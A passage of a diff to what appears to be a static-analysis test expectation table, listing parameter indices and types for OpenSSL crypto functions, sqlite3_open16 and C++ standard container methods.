char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 3 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *) | | SEED_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 3 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int) | | SEED_cfb128_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 3 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int) | | SEED_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_decrypt | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cbc128_encrypt | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_decrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_cts128_encrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_decrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f) | | CRYPTO_nistcts128_encrypt_block | 5 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_decrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 6 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 5 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 6 | unsigned int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 5 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 6 | unsigned int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 7 | ctr128_f | +| (const unsigned char[16],SEED_KEY_SCHEDULE *) | | SEED_set_key | 0 | const unsigned char[16] | +| (const unsigned char[16],SEED_KEY_SCHEDULE *) | | SEED_set_key | 1 | SEED_KEY_SCHEDULE * | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_decrypt | 0 | const unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_decrypt | 1 | unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_decrypt | 2 | const SEED_KEY_SCHEDULE * | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_encrypt | 0 | const unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_encrypt | 1 | unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_encrypt | 2 | const SEED_KEY_SCHEDULE * | | (const vector &) | vector | vector | 0 | const vector & | | (const vector &,const Allocator &) | vector | vector | 0 | const vector & | | (const vector &,const Allocator &) | vector | vector | 1 | const class:1 & | +| (const void *,const void *) | | Symbolcmpp | 0 | const void * | +| (const void *,const void *) | | Symbolcmpp | 1 | const void * | +| (const void *,const void *,int) | | ossl_is_partially_overlapping | 0 | const void * | +| (const void *,const void *,int) | | ossl_is_partially_overlapping | 1 | const void * | +| (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | int | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 0 | const void * | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 1 | const void * | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 2 | int | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 3 | int | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 4 | ..(*)(..) | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 0 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 1 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 2 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 3 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 4 | ..(*)(..) | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 5 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 0 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 1 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 2 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 3 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 4 | ..(*)(..) | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 5 | int | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 0 | const void * | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 1 | size_t | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 2 | const char * | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 3 | int | +| (const void *,size_t,unsigned char *) | | WHIRLPOOL | 0 | const void * | +| (const void *,size_t,unsigned char *) | | WHIRLPOOL | 1 | size_t | +| (const void *,size_t,unsigned char *) | | WHIRLPOOL | 2 | unsigned char * | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 0 | const void * | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 1 | size_t | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 2 | unsigned char ** | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 3 | size_t * | +| (const void *,sqlite3 **) | | sqlite3_open16 | 0 | const void * | +| (const void *,sqlite3 **) | | sqlite3_open16 | 1 | sqlite3 ** | +| (const_DES_cblock *) | | DES_check_key_parity | 0 | const_DES_cblock * | | (const_iterator,InputIt,InputIt) | deque | insert | 0 | const_iterator | | (const_iterator,InputIt,InputIt) | deque | insert | 1 | func:0 | | (const_iterator,InputIt,InputIt) | deque | insert | 2 | func:0 | @@ -835,6 +25785,47 @@ getSignatureParameterName | (const_iterator,size_type,const T &) | vector | insert | 0 | const_iterator | | (const_iterator,size_type,const T &) | vector | insert | 1 | size_type | | (const_iterator,size_type,const T &) | vector | insert | 2 | const class:0 & | +| (curve448_point_t,const curve448_point_t) | | ossl_curve448_point_double | 0 | curve448_point_t | +| (curve448_point_t,const curve448_point_t) | | ossl_curve448_point_double | 1 | const curve448_point_t | +| (curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t) | | ossl_curve448_precomputed_scalarmul | 0 | curve448_point_t | +| (curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t) | | ossl_curve448_precomputed_scalarmul | 1 | const curve448_precomputed_s * | +| (curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t) | | ossl_curve448_precomputed_scalarmul | 2 | const curve448_scalar_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 0 | curve448_point_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 1 | const curve448_scalar_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 2 | const curve448_point_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 3 | const curve448_scalar_t | +| (curve448_point_t,const uint8_t[57]) | | ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio | 0 | curve448_point_t | +| (curve448_point_t,const uint8_t[57]) | | ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio | 1 | const uint8_t[57] | +| (curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_halve | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_halve | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_add | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_add | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_add | 2 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_mul | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_mul | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_mul | 2 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_sub | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_sub | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_sub | 2 | const curve448_scalar_t | +| (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 0 | curve448_scalar_t | +| (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 1 | const unsigned char * | +| (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | size_t | +| (curve448_scalar_t,const unsigned char[56]) | | ossl_curve448_scalar_decode | 0 | curve448_scalar_t | +| (curve448_scalar_t,const unsigned char[56]) | | ossl_curve448_scalar_decode | 1 | const unsigned char[56] | +| (custom_ext_methods *,const custom_ext_methods *) | | custom_exts_copy | 0 | custom_ext_methods * | +| (custom_ext_methods *,const custom_ext_methods *) | | custom_exts_copy | 1 | const custom_ext_methods * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 0 | d2i_of_void * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 1 | const char * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 2 | BIO * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 3 | void ** | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 4 | pem_password_cb * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 5 | void * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 0 | d2i_of_void * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 1 | const char * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 2 | FILE * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 3 | void ** | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 4 | pem_password_cb * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 5 | void * | | (deque &&) | deque | deque | 0 | deque && | | (deque &&,const Allocator &) | deque | deque | 0 | deque && | | (deque &&,const Allocator &) | deque | deque | 1 | const class:1 & | @@ -843,17 +25834,685 @@ getSignatureParameterName | (forward_list &&) | forward_list | forward_list | 0 | forward_list && | | (forward_list &&,const Allocator &) | forward_list | forward_list | 0 | forward_list && | | (forward_list &&,const Allocator &) | forward_list | forward_list | 1 | const class:1 & | +| (gf,const gf,const gf) | | gf_add | 0 | gf | +| (gf,const gf,const gf) | | gf_add | 1 | const gf | +| (gf,const gf,const gf) | | gf_add | 2 | const gf | +| (gf,const gf,const gf) | | gf_sub | 0 | gf | +| (gf,const gf,const gf) | | gf_sub | 1 | const gf | +| (gf,const gf,const gf) | | gf_sub | 2 | const gf | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 0 | gf | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 1 | const uint8_t[56] | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 2 | int | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 3 | uint8_t | +| (i2d_of_void *,BIO *,const void *) | | ASN1_i2d_bio | 0 | i2d_of_void * | +| (i2d_of_void *,BIO *,const void *) | | ASN1_i2d_bio | 1 | BIO * | +| (i2d_of_void *,BIO *,const void *) | | ASN1_i2d_bio | 2 | const void * | +| (i2d_of_void *,FILE *,const void *) | | ASN1_i2d_fp | 0 | i2d_of_void * | +| (i2d_of_void *,FILE *,const 